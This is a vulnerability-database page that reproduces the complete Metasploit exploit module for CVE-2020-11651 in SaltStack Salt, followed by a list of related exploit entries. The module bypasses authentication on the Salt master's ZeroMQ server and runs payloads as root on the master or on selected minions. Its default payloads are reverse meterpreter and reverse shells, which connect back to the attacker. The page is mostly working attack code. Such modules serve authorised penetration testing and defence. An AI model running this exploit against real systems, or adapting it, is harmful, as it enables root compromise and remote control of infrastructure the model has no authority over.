Lucene search
K

SaltStack Salt Master/Minion Unauthenticated RCE

🗓️ 11 May 2020 17:05:38Reported by F-Secure, wvu <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 71 Views

SaltStack Salt Master/Minion Unauthenticated RCE in versions 2019.2.3 and 3000.1, allowing code execution as root on master or select minion

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Saltstack 3000.1 - Remote Code Execution Exploit
4 May 202000:00
zdt
0day.today
Saltstack 3000.1 Remote Code Execution Exploit
7 May 202000:00
zdt
0day.today
SaltStack Salt Master/Minion Unauthenticated Remote Code Execution Exploit
12 May 202000:00
zdt
GithubExploit
Exploit for CVE-2020-11651
4 May 202011:52
githubexploit
GithubExploit
Exploit for CVE-2020-11651
7 May 202009:17
githubexploit
GithubExploit
Exploit for CVE-2020-11651
4 May 202011:47
githubexploit
GithubExploit
Exploit for CVE-2020-11651
4 May 202020:34
githubexploit
GithubExploit
Exploit for CVE-2020-11651
7 May 202009:17
githubexploit
GithubExploit
Exploit for Path Traversal in Saltstack Salt
17 Jan 202404:15
githubexploit
GithubExploit
Exploit for CVE-2020-11651
7 May 202004:41
githubexploit
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::ZeroMQ
  include Msf::Exploit::Remote::CheckModule
  include Msf::Exploit::CmdStager::HTTP # HACK: This is a mixin of a mixin
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'SaltStack Salt Master/Minion Unauthenticated RCE',
        'Description' => %q{
          This module exploits unauthenticated access to the runner() and
          _send_pub() methods in the SaltStack Salt master's ZeroMQ request
          server, for versions 2019.2.3 and earlier and 3000.1 and earlier, to
          execute code as root on either the master or on select minions.

          VMware vRealize Operations Manager versions 7.5.0 through 8.1.0, as
          well as Cisco Modeling Labs Corporate Edition (CML) and Cisco Virtual
          Internet Routing Lab Personal Edition (VIRL-PE), for versions 1.2,
          1.3, 1.5, and 1.6 in certain configurations, are known to be affected
          by the Salt vulnerabilities.

          Tested against SaltStack Salt 2019.2.3 and 3000.1 on Ubuntu 18.04, as
          well as Vulhub's Docker image.
        },
        'Author' => [
          'F-Secure', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-11651'], # Auth bypass (used by this module)
          ['CVE', '2020-11652'], # Authed directory traversals (not used here)
          ['URL', 'https://labs.f-secure.com/advisories/saltstack-authorization-bypass'],
          ['URL', 'https://community.saltstack.com/blog/critical-vulnerabilities-update-cve-2020-11651-and-cve-2020-11652/'],
          ['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0009.html'],
          ['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-salt-2vx545AG'],
          ['URL', 'https://github.com/saltstack/salt/blob/master/tests/integration/master/test_clear_funcs.py']
        ],
        'DisclosureDate' => '2020-04-30', # F-Secure advisory
        'License' => MSF_LICENSE,
        'Platform' => ['python', 'unix'],
        'Arch' => [ARCH_PYTHON, ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'Master (Python payload)',
            {
              'Description' => 'Executing Python payload on the master',
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Type' => :python,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_https'
              }
            }
          ],
          [
            'Master (Unix command)',
            {
              'Description' => 'Executing Unix command on the master',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Minions (Python payload)',
            {
              'Description' => 'Executing Python payload on the minions',
              'Platform' => 'python',
              'Arch' => ARCH_PYTHON,
              'Type' => :python,
              'DefaultOptions' => {
                'PAYLOAD' => 'python/meterpreter/reverse_https'
              }
            }
          ],
          [
            'Minions (Unix command)',
            {
              'Description' => 'Executing Unix command on the minions',
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                # cmd/unix/reverse_python_ssl crashes in this target
                'PAYLOAD' => 'cmd/unix/reverse_python'
              }
            }
          ]
        ],
        'DefaultTarget' => 0, # Defaults to master for safety
        'DefaultOptions' => {
          'CheckModule' => 'auxiliary/gather/saltstack_salt_root_key'
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(4506),
      OptString.new('ROOT_KEY', [false, "Master's root key if you have it"]),
      OptRegexp.new('MINIONS', [true, 'PCRE regex of minions to target', '.*'])
    ])

    register_advanced_options([
      OptInt.new('WfsDelay', [true, 'Seconds to wait for *all* sessions', 10])
    ])
  end

  # NOTE: check is provided by auxiliary/gather/saltstack_salt_root_key

  def exploit
    if target.name.start_with?('Master')
      if (root_key = datastore['ROOT_KEY'])
        print_status("User-specified root key: #{root_key}")
      else
        # check.reason is from auxiliary/gather/saltstack_salt_root_key
        root_key = check.reason
      end

      unless root_key
        fail_with(Failure::BadConfig,
                  "#{target['Description']} requires a root key")
      end
    end

    # These are from Msf::Exploit::Remote::ZeroMQ
    zmq_connect
    zmq_negotiate

    print_status("#{target['Description']}: #{datastore['PAYLOAD']}")

    case target.name
    when /^Master/
      yeet_runner(root_key)
    when /^Minions/
      yeet_send_pub
    end

    # HACK: Hijack WfsDelay to wait for _all_ sessions, not just the first one
    sleep(wfs_delay)
  rescue EOFError, Rex::ConnectionError => e
    print_error("#{e.class}: #{e.message}")
  ensure
    # This is from Msf::Exploit::Remote::ZeroMQ
    zmq_disconnect
  end

  def yeet_runner(root_key)
    print_status("Yeeting runner() at #{peer}")

    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L1898-L1951
    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L1898-L1951
    runner = {
      'cmd' => 'runner',
      # https://docs.saltstack.com/en/master/ref/runners/all/salt.runners.salt.html#salt.runners.salt.cmd
      'fun' => 'salt.cmd',
      'kwarg' => {
        'hide_output' => true,
        'ignore_retcode' => true,
        'output_loglevel' => 'quiet'
      },
      'user' => 'root', # This is NOT the Unix user!
      'key' => root_key # No JID needed, only the root key!
    }

    case target['Type']
    when :python
      vprint_status("Executing Python code: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
      runner['kwarg'].merge!(
        'fun' => 'cmd.exec_code',
        'lang' => payload.arch.first,
        'code' => payload.encoded
      )
    when :unix_cmd
      # HTTPS doesn't appear to be supported by the server :(
      print_status("Serving intermediate stager over HTTP: #{cmdstager_start_service}")

      vprint_status("Executing Unix command: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.script
      runner['kwarg'].merge!(
        # cmd.run doesn't work due to a missing argument error, so we use this
        'fun' => 'cmd.script',
        'source' => get_uri,
        'stdin' => payload.encoded
      )
    end

    vprint_status("Unserialized clear load: #{runner}")
    zmq_send_message(serialize_clear_load(runner))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive runner() response')
    end

    vprint_good("Received runner() response: #{res.inspect}")
  end

  def yeet_send_pub
    print_status("Yeeting _send_pub() at #{peer}")

    # NOTE: A unique JID (job ID) is needed for every published job
    jid = generate_jid

    # https://github.com/saltstack/salt/blob/v2019.2.3/salt/master.py#L2043-L2151
    # https://github.com/saltstack/salt/blob/v3000.1/salt/master.py#L2043-L2151
    send_pub = {
      'cmd' => '_send_pub',
      'kwargs' => {
        'bg' => true,
        'hide_output' => true,
        'ignore_retcode' => true,
        'output_loglevel' => 'quiet',
        'show_jid' => false,
        'show_timeout' => false
      },
      'user' => 'root', # This is NOT the Unix user!
      'tgt' => datastore['MINIONS'],
      'tgt_type' => 'pcre',
      'jid' => jid
    }

    case target['Type']
    when :python
      vprint_status("Executing Python code: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.exec_code
      send_pub.merge!(
        'fun' => 'cmd.exec_code',
        'arg' => [payload.arch.first, payload.encoded]
      )
    when :unix_cmd
      vprint_status("Executing Unix command: #{payload.encoded}")

      # https://docs.saltstack.com/en/master/ref/modules/all/salt.modules.cmdmod.html#salt.modules.cmdmod.run
      send_pub.merge!(
        'fun' => 'cmd.run',
        'arg' => [payload.encoded]
      )
    end

    vprint_status("Unserialized clear load: #{send_pub}")
    zmq_send_message(serialize_clear_load(send_pub))

    unless (res = sock.get_once)
      fail_with(Failure::Unknown, 'Did not receive _send_pub() response')
    end

    vprint_good("Received _send_pub() response: #{res.inspect}")

    # NOTE: This path will likely change between platforms and distros
    register_file_for_cleanup("/var/cache/salt/minion/proc/#{jid}")
  end

  # https://github.com/saltstack/salt/blob/v2019.2.3/salt/utils/jid.py
  # https://github.com/saltstack/salt/blob/v3000.1/salt/utils/jid.py
  def generate_jid
    DateTime.now.new_offset.strftime('%Y%m%d%H%M%S%6N')
  end

  # HACK: Stub out the command stager used by Msf::Exploit::CmdStager::HTTP
  def stager_instance
    nil
  end

  # HACK: Sub out the executable used by Msf::Exploit::CmdStager::HTTP
  def exe
    # NOTE: The shebang line is necessary in this case!
    <<~SHELL
      #!/bin/sh
      /bin/sh
    SHELL
  end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation